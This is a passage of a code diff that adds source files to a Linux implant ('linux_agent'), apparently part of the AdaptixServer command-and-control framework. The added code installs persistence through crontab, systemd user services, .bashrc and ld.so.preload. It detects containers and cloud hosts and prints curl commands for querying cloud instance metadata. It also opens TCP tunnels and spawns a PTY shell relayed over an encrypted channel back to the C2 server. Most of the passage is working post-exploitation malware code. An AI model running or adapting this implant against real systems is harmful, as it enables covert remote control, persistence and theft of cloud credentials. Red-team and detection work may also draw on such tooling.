read_file("/etc/ld.so.preload", preload, sizeof(preload)); + if (n > 0) { + sb_append(sb, " "); + sb_append(sb, preload); + } else { + sb_append(sb, " (not present or empty)\n"); + } + + // Check bashrc for suspicious lines + sb_append(sb, "\n~/.bashrc (last 5 lines):\n"); + char bashrc[8192]; + char bashrc_path[512]; + ax_strcpy(bashrc_path, home); + ax_strcat(bashrc_path, "/.bashrc"); + n = read_file(bashrc_path, bashrc, sizeof(bashrc)); + if (n > 0) { + // Find last 5 lines + int line_count = 0; + char *p = bashrc + n - 1; + while (p > bashrc && line_count < 5) { + if (*p == '\n') line_count++; + p--; + } + if (p > bashrc) p += 2; // skip the newline + sb_append(sb, " "); + sb_append(sb, p); + sb_append(sb, "\n"); + } +} + +int task_persist(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + // Parse params: {action, cmd, schedule, name, path, type} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t map_count; + if (mp_read_map(&r, &map_count) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char action[64] = {0}, cmd[4096] = {0}, schedule[256] = {0}; + char name[256] = {0}, path[4096] = {0}, type[64] = {0}; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; uint32_t klen; + if (mp_read_str(&r, &key, &klen) != 0) break; + + const char *val; uint32_t vlen; + if (klen == 6 && ax_memcmp(key, "action", 6) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(action)) vlen = sizeof(action) - 1; + ax_memcpy(action, val, vlen); action[vlen] = '\0'; + } else if (klen == 3 && ax_memcmp(key, "cmd", 3) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(cmd)) vlen = sizeof(cmd) - 1; + ax_memcpy(cmd, val, vlen); cmd[vlen] = '\0'; + } else if (klen == 8 && ax_memcmp(key, "schedule", 8) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(schedule)) vlen = sizeof(schedule) - 1; + ax_memcpy(schedule, val, vlen); schedule[vlen] = '\0'; + } else if (klen == 4 && ax_memcmp(key, "name", 4) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(name)) vlen = sizeof(name) - 1; + ax_memcpy(name, val, vlen); name[vlen] = '\0'; + } else if (klen == 4 && ax_memcmp(key, "path", 4) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(path)) vlen = sizeof(path) - 1; + ax_memcpy(path, val, vlen); path[vlen] = '\0'; + } else if (klen == 4 && ax_memcmp(key, "type", 4) == 0) { + mp_read_str(&r, &val, &vlen); + if (vlen >= sizeof(type)) vlen = sizeof(type) - 1; + ax_memcpy(type, val, vlen); type[vlen] = '\0'; + } else { + mp_skip(&r); + } + } + + strbuf_t sb; + sb_init(&sb); + + if (ax_strcmp(action, "crontab") == 0) { + persist_crontab(cmd, schedule, &sb); + } else if (ax_strcmp(action, "systemd") == 0) { + persist_systemd(name, cmd, &sb); + } else if (ax_strcmp(action, "bashrc") == 0) { + persist_bashrc(cmd, &sb); + } else if (ax_strcmp(action, "ldpreload") == 0) { + persist_ldpreload(path, &sb); + } else if (ax_strcmp(action, "remove") == 0) { + // Basic removal based on type + if (ax_strcmp(type, "crontab") == 0) { + // Remove all crontab entries + int pid = sys_fork(); + if (pid == 0) { + char *argv[] = {"/usr/bin/crontab", "-r", (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/crontab", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { int s = 0; sys_wait4(pid, &s, 0, (void *)0); } + sb_append(&sb, " [+] Crontab removed\n"); + } else if (ax_strcmp(type, "systemd") == 0 && name[0]) { + char home[256]; + persist_get_home(home, sizeof(home)); + char svc_path[512]; + ax_strcpy(svc_path, home); + ax_strcat(svc_path, "/.config/systemd/user/"); + ax_strcat(svc_path, name); + ax_strcat(svc_path, ".service"); + // Stop and disable + int pid = sys_fork(); + if (pid == 0) { + char svc_name[256]; + ax_strcpy(svc_name, name); + ax_strcat(svc_name, ".service"); + char *argv[] = {"/usr/bin/systemctl", "--user", "disable", "--now", svc_name, (char *)0}; + char *envp[] = {(char *)0}; + sys_execve("/usr/bin/systemctl", argv, envp); + sys_exit_group(1); + } + if (pid > 0) { int s = 0; sys_wait4(pid, &s, 0, (void *)0); } + sys_unlink(svc_path); + sb_append(&sb, " [+] Systemd service removed: "); + sb_append(&sb, name); + sb_append(&sb, "\n"); + } else { + sb_append(&sb, " [!] Specify type (crontab/systemd) and name\n"); + } + } else if (ax_strcmp(action, "status") == 0) { + persist_status(&sb); + } else { + sb_append(&sb, " [!] Unknown action: "); + sb_append(&sb, action); + sb_append(&sb, "\n"); + } + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} + +// ──── CONTAINER / CLOUD ──── + +static void detect_container(strbuf_t *sb) { + sb_append(sb, "--- Container Detection ---\n"); + + int found = 0; + + // Docker + if (file_exists("/.dockerenv")) { + sb_append(sb, " [+] Docker container detected (/.dockerenv exists)\n"); + found = 1; + } + + // Check cgroup for docker/lxc/k8s + char cgroup[4096]; + long n = read_file("/proc/1/cgroup", cgroup, sizeof(cgroup)); + if (n > 0) { + if (ax_strstr(cgroup, "docker")) { + sb_append(sb, " [+] Docker detected in /proc/1/cgroup\n"); + found = 1; + } + if (ax_strstr(cgroup, "kubepods")) { + sb_append(sb, " [+] Kubernetes pod detected in /proc/1/cgroup\n"); + found = 1; + } + if (ax_strstr(cgroup, "lxc")) { + sb_append(sb, " [+] LXC container detected in /proc/1/cgroup\n"); + found = 1; + } + } + + // Podman + char container_env[256]; + n = read_file("/run/.containerenv", container_env, sizeof(container_env)); + if (n > 0) { + sb_append(sb, " [+] Podman container detected (/run/.containerenv)\n"); + found = 1; + } + + // K8s service account + if (file_exists("/var/run/secrets/kubernetes.io/serviceaccount/token")) { + sb_append(sb, " [+] Kubernetes service account found\n"); + found = 1; + } + + if (!found) { + sb_append(sb, " (no container detected — likely bare-metal/VM)\n"); + } +} + +static void detect_cloud(strbuf_t *sb) { + sb_append(sb, "\n--- Cloud Provider Detection ---\n"); + + // Check DMI/SMBIOS for cloud hints + char dmi[256]; + int detected = 0; + + if (read_file("/sys/class/dmi/id/sys_vendor", dmi, sizeof(dmi)) > 0) { + // Strip newline + size_t dlen = ax_strlen(dmi); + if (dlen > 0 && dmi[dlen - 1] == '\n') dmi[dlen - 1] = '\0'; + + if (ax_strstr(dmi, "Amazon") || ax_strstr(dmi, "amazon")) { + sb_append(sb, " [+] AWS detected (sys_vendor: "); + sb_append(sb, dmi); + sb_append(sb, ")\n"); + detected = 1; + } else if (ax_strstr(dmi, "Google")) { + sb_append(sb, " [+] GCP detected (sys_vendor: "); + sb_append(sb, dmi); + sb_append(sb, ")\n"); + detected = 1; + } else if (ax_strstr(dmi, "Microsoft")) { + sb_append(sb, " [+] Azure detected (sys_vendor: "); + sb_append(sb, dmi); + sb_append(sb, ")\n"); + detected = 1; + } else { + sb_append(sb, " sys_vendor: "); + sb_append(sb, dmi); + sb_append(sb, "\n"); + } + } + + if (read_file("/sys/class/dmi/id/product_name", dmi, sizeof(dmi)) > 0) { + size_t dlen = ax_strlen(dmi); + if (dlen > 0 && dmi[dlen - 1] == '\n') dmi[dlen - 1] = '\0'; + sb_append(sb, " product_name: "); + sb_append(sb, dmi); + sb_append(sb, "\n"); + } + + if (!detected) { + sb_append(sb, " (no cloud provider detected from DMI)\n"); + } +} + +static void fetch_metadata(strbuf_t *sb) { + sb_append(sb, "\n--- Cloud Metadata (IMDS) ---\n"); + sb_append(sb, " Note: IMDS requires network access to 169.254.169.254\n"); + sb_append(sb, " Use 'shell curl -s http://169.254.169.254/latest/meta-data/' for AWS\n"); + sb_append(sb, " Use 'shell curl -s -H \"Metadata-Flavor: Google\" http://169.254.169.254/computeMetadata/v1/' for GCP\n"); + sb_append(sb, " Use 'shell curl -s -H \"Metadata: true\" http://169.254.169.254/metadata/instance?api-version=2021-02-01' for Azure\n"); + + // Try to read instance-id from sysfs (works on some cloud providers without network) + char buf[256]; + if (read_file("/sys/class/dmi/id/board_asset_tag", buf, sizeof(buf)) > 0) { + size_t dlen = ax_strlen(buf); + if (dlen > 0 && buf[dlen - 1] == '\n') buf[dlen - 1] = '\0'; + if (ax_strlen(buf) > 1) { + sb_append(sb, " board_asset_tag: "); + sb_append(sb, buf); + sb_append(sb, "\n"); + } + } + if (read_file("/sys/class/dmi/id/chassis_asset_tag", buf, sizeof(buf)) > 0) { + size_t dlen = ax_strlen(buf); + if (dlen > 0 && buf[dlen - 1] == '\n') buf[dlen - 1] = '\0'; + if (ax_strlen(buf) > 1) { + sb_append(sb, " chassis_asset_tag: "); + sb_append(sb, buf); + sb_append(sb, "\n"); + } + } +} + +int task_container(const uint8_t *data, uint32_t data_len, mp_writer_t *w) +{ + char action[64] = {0}; + parse_string_field(data, data_len, "action", action, sizeof(action)); + if (action[0] == '\0') ax_strcpy(action, "detect"); + + strbuf_t sb; + sb_init(&sb); + + if (ax_strcmp(action, "detect") == 0) { + detect_container(&sb); + detect_cloud(&sb); + } else if (ax_strcmp(action, "metadata") == 0) { + detect_container(&sb); + detect_cloud(&sb); + fetch_metadata(&sb); + } else { + sb_append(&sb, " [!] Unknown action: "); + sb_append(&sb, action); + sb_append(&sb, " (use: detect, metadata)\n"); + } + + write_output(w, sb.data); + sb_free(&sb); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h new file mode 100644 index 000000000..7c53d606b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h @@ -0,0 +1,18 @@ +#ifndef TASKS_LINUX_H +#define TASKS_LINUX_H + +#include "msgpack.h" +#include + +/// Linux-specific command handlers +/// env, netstat, mounts, edr, creds, persist, container + +int task_env(mp_writer_t *w); +int task_netstat(mp_writer_t *w); +int task_mounts(mp_writer_t *w); +int task_edr(mp_writer_t *w); +int task_creds(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_persist(const uint8_t *data, uint32_t data_len, mp_writer_t *w); +int task_container(const uint8_t *data, uint32_t data_len, mp_writer_t *w); + +#endif /* TASKS_LINUX_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c new file mode 100644 index 000000000..45cc96e6d --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c @@ -0,0 +1,666 @@ +/// tasks_net.c -- Network commands for Linux agent (tunnel/terminal) +/// Tunnels use the proxyfire MUX model (non-blocking, no threads, no separate connection). +/// Terminals still use the thread+separate-connection model (Phase 2 migration). + +#include "tasks_net.h" +#include "proxyfire.h" +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "types.h" + +#ifdef BUILD_SO +#include "elf_resolve.h" +#else +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif +#endif + +// ── Constants ── + +#ifndef O_RDONLY +#define O_RDONLY 0 +#define O_WRONLY 1 +#define O_RDWR 2 +#define O_NONBLOCK 04000 +#define O_NOCTTY 0400 +#endif +#ifndef F_SETFL +#define F_SETFL 4 +#define F_GETFL 3 +#endif +#ifndef WNOHANG +#define WNOHANG 1 +#endif +#ifndef AF_INET +#define AF_INET 2 +#define SOCK_STREAM 1 +#define SOL_SOCKET 1 +#define SO_ERROR 4 +#endif +#ifndef TIOCSWINSZ +#define TIOCSWINSZ 0x5414 +#define TIOCSCTTY 0x540E +#endif +#ifndef EINPROGRESS +#define EINPROGRESS 115 +#endif + +struct linux_winsize { + unsigned short ws_row; + unsigned short ws_col; + unsigned short ws_xpixel; + unsigned short ws_ypixel; +}; + +// ── Abstraction macros ── + +#ifdef BUILD_SO +#define F_open(p,f,m) R_open(p,f,m) +#define F_close(fd) R_close(fd) +#define F_read(fd,b,n) R_read(fd,b,n) +#define F_write(fd,b,n) R_write(fd,b,n) +#define F_fork() R_fork() +#define F_setsid() R_setsid() +#define F_dup2(o,n) R_dup2(o,n) +#define F_execve(p,a,e) R_execve(p,a,e) +#define F_kill(p,s) R_kill(p,s) +#define F_waitpid(p,s,o) R_waitpid(p,s,o) +#define F_exit(s) R_exit(s) +#define F_socket(d,t,p) R_socket(d,t,p) +#define F_connect(s,a,l) R_connect(s,a,l) +#define F_select(n,r,w,e,t) R_select(n,r,w,e,t) +#define F_fcntl(fd,c,a) R_fcntl(fd,c,a) +#define F_getsockopt(s,l,o,v,n) R_getsockopt(s,l,o,v,n) +#define F_ioctl(fd,r,a) R_ioctl(fd,r,a) +#define F_posix_openpt(f) R_posix_openpt(f) +#define F_grantpt(fd) R_grantpt(fd) +#define F_unlockpt(fd) R_unlockpt(fd) +#define F_ptsname(fd) R_ptsname(fd) +#define F_setenv(k,v,o) R_setenv(k,v,o) +#else +#define F_open(p,f,m) sys_open(p,f,m) +#define F_close(fd) sys_close(fd) +#define F_read(fd,b,n) sys_read(fd,b,n) +#define F_write(fd,b,n) sys_write(fd,b,n) +#define F_fork() sys_fork() +#define F_setsid() sys_setsid() +#define F_dup2(o,n) sys_dup2(o,n) +#define F_execve(p,a,e) sys_execve(p,a,e) +#define F_kill(p,s) sys_kill(p,s) +#define F_waitpid(p,s,o) sys_wait4(p,s,o,(void*)0) +#define F_exit(s) sys_exit_group(s) +#define F_socket(d,t,p) sys_socket(d,t,p) +#define F_connect(s,a,l) sys_connect(s,a,l) +#define F_fcntl(fd,c,a) sys_fcntl(fd,c,a) +#define F_getsockopt(s,l,o,v,n) sys_getsockopt(s,l,o,v,n) +#define F_ioctl(fd,r,a) sys_ioctl(fd,r,(unsigned long)(a)) +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t *w, const char *msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// fd_set operations (manual for -nostdlib) +typedef struct { + unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))]; +} linux_fd_set; + +static void fd_zero(linux_fd_set *s) { + ax_memset(s, 0, sizeof(linux_fd_set)); +} + +static void fd_set_bit(int fd, linux_fd_set *s) { + s->fds_bits[fd / (8 * sizeof(unsigned long))] |= (1UL << (fd % (8 * sizeof(unsigned long)))); +} + +static int fd_is_set(int fd, linux_fd_set *s) { + return (s->fds_bits[fd / (8 * sizeof(unsigned long))] >> (fd % (8 * sizeof(unsigned long)))) & 1; +} + +// Select wrapper — uses pselect6 on raw syscalls, select on SO mode +static int net_select(int nfds, linux_fd_set *rfds, linux_fd_set *wfds, int timeout_ms) { +#ifdef BUILD_SO + // For SO mode, convert to struct timeval and use R_select + struct { long tv_sec; long tv_usec; } tv; + tv.tv_sec = timeout_ms / 1000; + tv.tv_usec = (timeout_ms % 1000) * 1000; + return F_select(nfds, rfds, wfds, (void*)0, &tv); +#else + // Static mode: use pselect6 with timespec + struct linux_timespec ts; + ts.tv_sec = timeout_ms / 1000; + ts.tv_nsec = (long)(timeout_ms % 1000) * 1000000L; + return sys_pselect6(nfds, rfds, wfds, (void*)0, &ts, (void*)0); +#endif +} + +// Parse channel_id from tunnel command params +static int parse_channel_id(const uint8_t *data, uint32_t data_len) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) return (int)v; + int64_t sv; + if (mp_read_int(&r, &sv) == 0) return (int)sv; + return -1; + } + mp_skip(&r); + } + return -1; +} + +// ── Tunnel (MUX model via proxyfire) ── +// No threads, no separate connection. Data flows in main channel. + +int task_tunnel_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char proto[8] = {0}; + int channel_id = -1; + char address[256] = {0}; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 5 && ax_memcmp(k, "proto", 5) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(proto)) { ax_memcpy(proto, v, vl); proto[vl] = '\0'; } + } else if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) channel_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) channel_id = (int)sv; + } + } else if (kl == 7 && ax_memcmp(k, "address", 7) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(address)) { ax_memcpy(address, v, vl); address[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + if (proto[0] == '\0' || channel_id < 0 || address[0] == '\0') { + write_error(w, "missing tunnel params"); + return 0; + } + + job_context_t *ctx = &g_job_ctx; + + // Allocate tunnel slot + jobs_mutex_lock(&ctx->tunnels_mutex); + int idx = -1; + for (int i = 0; i < MAX_TUNNELS; i++) { + if (!ctx->tunnels[i].active) { + idx = i; + ax_memset(&ctx->tunnels[i], 0, sizeof(tunnel_entry_t)); + ctx->tunnels[i].client_fd = -1; + ctx->tunnels[i].channel_id = channel_id; + ctx->tunnels[i].active = 1; + break; + } + } + jobs_mutex_unlock(&ctx->tunnels_mutex); + + if (idx < 0) { write_error(w, "max tunnels reached"); return 0; } + + // Start async connect (non-blocking, polled by process_tunnels) + if (proxy_connect_tcp(idx, address) != 0) { + // Immediate failure — status will be sent by process_tunnels (CloseProxy stage) + } + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel starting"); + return 0; +} + +int task_tunnel_write(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + int channel_id = -1; + const uint8_t *payload = (const uint8_t *)0; + uint32_t payload_len = 0; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) channel_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) channel_id = (int)sv; + } + } else if (kl == 4 && ax_memcmp(k, "data", 4) == 0) { + mp_read_bin(&r, &payload, &payload_len); + } else { + mp_skip(&r); + } + } + + if (channel_id >= 0 && payload && payload_len > 0) { + proxy_write_tcp(channel_id, payload, payload_len); + } + + // No response for write commands — transparent + mp_write_map(w, 0); + return 0; +} + +int task_tunnel_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + proxy_close(ch_id); + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel stopped"); + return 0; +} + +int task_tunnel_pause(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + proxy_pause(ch_id); + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel paused"); + return 0; +} + +int task_tunnel_resume(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + int ch_id = parse_channel_id(data, data_len); + if (ch_id < 0) { write_error(w, "missing channel_id"); return 0; } + + proxy_resume(ch_id); + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "tunnel resumed"); + return 0; +} + +// ── Terminal ── +// Spawns thread -> opens PTY -> connects to C2 -> bidirectional AES-CTR relay + +#define TERMINAL_BUF_SIZE (32 * 1024) // 32KB + +// PTY helper for static mode (no posix_openpt) +#ifndef BUILD_SO +static int pty_open_master(void) { + int fd = sys_open("/dev/ptmx", O_RDWR | O_NOCTTY, 0); + if (fd < 0) return -1; + + // grantpt: write '0' to /dev/pts via ioctl TIOCSPTLCK + int unlock = 0; + sys_ioctl(fd, 0x40045431 /*TIOCSPTLCK*/, (unsigned long)&unlock); + + return fd; +} + +static int pty_get_slave_num(int master_fd) { + int pty_num = -1; + sys_ioctl(master_fd, 0x80045430 /*TIOCGPTN*/, (unsigned long)&pty_num); + return pty_num; +} +#endif + +static int pty_fork_fn(const char *program, int width, int height, + int *master_fd, int *child_pid_out) { + int master; + +#ifdef BUILD_SO + master = F_posix_openpt(O_RDWR | O_NOCTTY); + if (master < 0) return -1; + if (F_grantpt(master) != 0 || F_unlockpt(master) != 0) { + F_close(master); + return -1; + } + char *slave_name = F_ptsname(master); + if (!slave_name) { + F_close(master); + return -1; + } +#else + master = pty_open_master(); + if (master < 0) return -1; + int pty_num = pty_get_slave_num(master); + if (pty_num < 0) { + F_close(master); + return -1; + } + // Build slave path: /dev/pts/N + char slave_path[32]; + ax_strcpy(slave_path, "/dev/pts/"); + char num_buf[16]; + ax_itoa(pty_num, num_buf, 10); + ax_strcat(slave_path, num_buf); + char *slave_name = slave_path; +#endif + + int pid = F_fork(); + if (pid < 0) { + F_close(master); + return -1; + } + + if (pid == 0) { + // Child + F_close(master); + F_setsid(); + + int slave = F_open(slave_name, O_RDWR, 0); + if (slave < 0) F_exit(1); + + // Set terminal size + struct linux_winsize ws; + ws.ws_col = (unsigned short)width; + ws.ws_row = (unsigned short)height; + ws.ws_xpixel = 0; + ws.ws_ypixel = 0; + F_ioctl(slave, TIOCSWINSZ, &ws); + + // Set as controlling terminal + F_ioctl(slave, TIOCSCTTY, 0); + + F_dup2(slave, 0); + F_dup2(slave, 1); + F_dup2(slave, 2); + if (slave > 2) F_close(slave); + +#ifdef BUILD_SO + F_setenv("TERM", "xterm-256color", 1); +#endif + + char *argv_term[] = { (char*)program, (char*)0 }; + F_execve(program, argv_term, (char*const*)0); + F_exit(1); + } + + // Parent + *master_fd = master; + *child_pid_out = pid; + return 0; +} + +typedef struct { + int terminal_idx; + int term_id; + char program[256]; + int width; + int height; +} terminal_args_t; + +static void *terminal_thread(void *arg) { + terminal_args_t *targs = (terminal_args_t*)arg; + job_context_t *ctx = &g_job_ctx; + + jobs_mutex_lock(&ctx->terminals_mutex); + terminal_entry_t *term = &ctx->terminals[targs->terminal_idx]; + jobs_mutex_unlock(&ctx->terminals_mutex); + + // Create PTY + int alive = 1; + char status_msg[256] = {0}; + + if (pty_fork_fn(targs->program, targs->width, targs->height, + &term->pty_master, &term->child_pid) != 0) { + alive = 0; + ax_strcpy(status_msg, "PTY creation failed"); + } + + // Open connection to C2 + if (jobs_open_connection(ctx, &term->srv_conn) != 0) { + if (term->pty_master >= 0) F_close(term->pty_master); + if (term->child_pid > 0) F_kill(term->child_pid, 9); + term->active = 0; + ax_free(targs); + return (void*)0; + } + + // Generate per-terminal AES keys + uint8_t term_key[16], term_iv[16]; + ax_random_bytes(term_key, 16); + ax_random_bytes(term_iv, 16); + + // Send TermPack init + mp_writer_t pack_w; + mp_writer_init(&pack_w, 256); + mp_write_map(&pack_w, 6); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_int(&pack_w, "term_id", targs->term_id); + mp_write_kv_bin(&pack_w, "key", term_key, 16); + mp_write_kv_bin(&pack_w, "iv", term_iv, 16); + mp_write_kv_bool(&pack_w, "alive", alive ? true : false); + mp_write_kv_str(&pack_w, "status", status_msg); + + if (jobs_send_init(ctx, &term->srv_conn, JOB_TERMINAL, + pack_w.buf.data, (uint32_t)pack_w.buf.len) != 0) { + mp_writer_free(&pack_w); + if (term->pty_master >= 0) F_close(term->pty_master); + if (term->child_pid > 0) F_kill(term->child_pid, 9); + conn_close(&term->srv_conn); + term->active = 0; + ax_free(targs); + return (void*)0; + } + mp_writer_free(&pack_w); + + if (!alive) { + conn_close(&term->srv_conn); + term->active = 0; + ax_free(targs); + return (void*)0; + } + + // Set up AES-CTR streams + aes128_ctr_ctx_t dec_ctx, enc_ctx; + aes128_ctr_init(&dec_ctx, term_key, term_iv); + aes128_ctr_init(&enc_ctx, term_key, term_iv); + + ax_memset(term_key, 0, 16); + ax_memset(term_iv, 0, 16); + + // Bidirectional relay: PTY <-> C2 (AES-CTR encrypted) + uint8_t *buf = (uint8_t*)ax_malloc(TERMINAL_BUF_SIZE); + uint8_t *enc_buf = (uint8_t*)ax_malloc(TERMINAL_BUF_SIZE); + + int srv_fd = term->srv_conn.fd; + int pty_fd = term->pty_master; + + while (!term->canceled) { + linux_fd_set rfds; + fd_zero(&rfds); + fd_set_bit(srv_fd, &rfds); + fd_set_bit(pty_fd, &rfds); + + int maxfd = srv_fd > pty_fd ? srv_fd : pty_fd; + + int sr = net_select(maxfd + 1, &rfds, (linux_fd_set*)0, 500); + if (sr < 0) break; + if (sr == 0) { + // Check if child process is still running + int wstatus; + int wr = F_waitpid(term->child_pid, &wstatus, WNOHANG); + if (wr > 0) break; + continue; + } + + // Server -> PTY (user input, decrypt) + if (fd_is_set(srv_fd, &rfds)) { + long n = F_read(srv_fd, buf, TERMINAL_BUF_SIZE); + if (n <= 0) break; + + aes128_ctr_process(&dec_ctx, buf, enc_buf, (size_t)n); + + size_t written = 0; + while (written < (size_t)n) { + long wr = F_write(pty_fd, enc_buf + written, (size_t)n - written); + if (wr <= 0) goto term_cleanup; + written += (size_t)wr; + } + } + + // PTY -> Server (shell output, encrypt) + if (fd_is_set(pty_fd, &rfds)) { + long n = F_read(pty_fd, buf, TERMINAL_BUF_SIZE); + if (n <= 0) break; + + aes128_ctr_process(&enc_ctx, buf, enc_buf, (size_t)n); + + size_t written = 0; + while (written < (size_t)n) { + long wr = F_write(srv_fd, enc_buf + written, (size_t)n - written); + if (wr <= 0) goto term_cleanup; + written += (size_t)wr; + } + } + } + +term_cleanup: + ax_free(buf); + ax_free(enc_buf); + ax_memset(&dec_ctx, 0, sizeof(dec_ctx)); + ax_memset(&enc_ctx, 0, sizeof(enc_ctx)); + + if (term->child_pid > 0) { + F_kill(term->child_pid, 9); + F_waitpid(term->child_pid, (void*)0, 0); + } + + if (term->pty_master >= 0) F_close(term->pty_master); + conn_close(&term->srv_conn); + + jobs_mutex_lock(&ctx->terminals_mutex); + term->active = 0; + jobs_mutex_unlock(&ctx->terminals_mutex); + + ax_free(targs); + return (void*)0; +} + +int task_terminal_start(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + int term_id = -1; + char program[256] = {0}; + int width = 80, height = 24; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) term_id = (int)v; + else { + int64_t sv; + if (mp_read_int(&r, &sv) == 0) term_id = (int)sv; + } + } else if (kl == 7 && ax_memcmp(k, "program", 7) == 0) { + const char *v; uint32_t vl; + mp_read_str(&r, &v, &vl); + if (vl < sizeof(program)) { ax_memcpy(program, v, vl); program[vl] = '\0'; } + } else if (kl == 5 && ax_memcmp(k, "width", 5) == 0) { + uint64_t v; mp_read_uint(&r, &v); width = (int)v; + } else if (kl == 6 && ax_memcmp(k, "height", 6) == 0) { + uint64_t v; mp_read_uint(&r, &v); height = (int)v; + } else { + mp_skip(&r); + } + } + + if (term_id < 0 || program[0] == '\0') { + write_error(w, "missing terminal params"); + return 0; + } + + job_context_t *ctx = &g_job_ctx; + + jobs_mutex_lock(&ctx->terminals_mutex); + int idx = -1; + for (int i = 0; i < MAX_TERMINALS; i++) { + if (!ctx->terminals[i].active) { + idx = i; + ax_memset(&ctx->terminals[i], 0, sizeof(terminal_entry_t)); + ctx->terminals[i].srv_conn.fd = -1; + ctx->terminals[i].pty_master = -1; + ctx->terminals[i].child_pid = -1; + ctx->terminals[i].term_id = term_id; + ctx->terminals[i].active = 1; + break; + } + } + jobs_mutex_unlock(&ctx->terminals_mutex); + + if (idx < 0) { write_error(w, "max terminals reached"); return 0; } + + terminal_args_t *ta = (terminal_args_t*)ax_malloc(sizeof(terminal_args_t)); + ta->terminal_idx = idx; + ta->term_id = term_id; + ax_strncpy(ta->program, program, sizeof(ta->program) - 1); + ta->width = width; + ta->height = height; + + jobs_thread_create(&ctx->terminals[idx].thread, terminal_thread, ta); + + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal starting"); + return 0; +} + +static int parse_term_id(const uint8_t *data, uint32_t data_len) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + + for (uint32_t i = 0; i < mc; i++) { + const char *k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == 7 && ax_memcmp(k, "term_id", 7) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) return (int)v; + int64_t sv; + if (mp_read_int(&r, &sv) == 0) return (int)sv; + return -1; + } + mp_skip(&r); + } + return -1; +} + +int task_terminal_stop(const uint8_t *data, uint32_t data_len, mp_writer_t *w) { + int tid = parse_term_id(data, data_len); + if (tid < 0) { write_error(w, "missing term_id"); return 0; } + + int idx = terminals_find(&g_job_ctx, tid); + if (idx < 0) { write_error(w, "terminal not found"); return 0; } + + g_job_ctx.terminals[idx].canceled = 1; + mp_write_map(w, 1); + mp_write_kv_str(w, "status", "terminal stopped"); + return 0; +} diff --git 